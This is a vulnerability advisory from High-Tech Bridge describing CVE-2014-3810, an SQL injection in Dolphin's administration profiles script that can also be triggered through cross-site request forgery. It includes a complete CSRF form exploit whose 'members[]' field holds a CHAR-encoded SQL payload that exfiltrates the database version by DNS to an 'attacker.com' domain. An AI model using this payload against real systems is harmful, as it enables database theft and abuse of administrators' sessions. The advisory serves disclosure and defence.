SQL Injection in Dolphin

2014-05-21T00:00:00
ID HTB23216
Type htbridge
Reporter High-Tech Bridge
Modified 2014-06-17T00:00:00

Description

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Dolphin, which can be exploited to perform SQL injection attacks and obtain sensitive information from the application database.

1) SQL Injection in Dolphin: CVE-2014-3810

The vulnerability exists due to insufficient sanitization of "members" array passed to "/administration/profiles.php" script. A remote authenticated administrator can send a specially crafted HTTP POST request to vulnerable script and execute arbitrary SQL commands in application’s database.

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit a web page with CSRF exploit.

The CSRF exploit code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The exploit will send a DNS request demanding IP address for version() (or any other sensitive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

<form action="http://[host]/administration/profiles.php" method="post" name="main">
<input type="hidden" name="adm-mp-members-ctl-type" value="qlinks">
<input type="hidden" name="adm-mp-members-view-type" value="simple">
<input type="hidden" name="order_by" value="">
<input type="hidden" name="per_page" value="50">
<input type="hidden" name="members[]" value="') AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="adm-mp-activate" value="Activate">
<input type="submit" id="btn">
</form>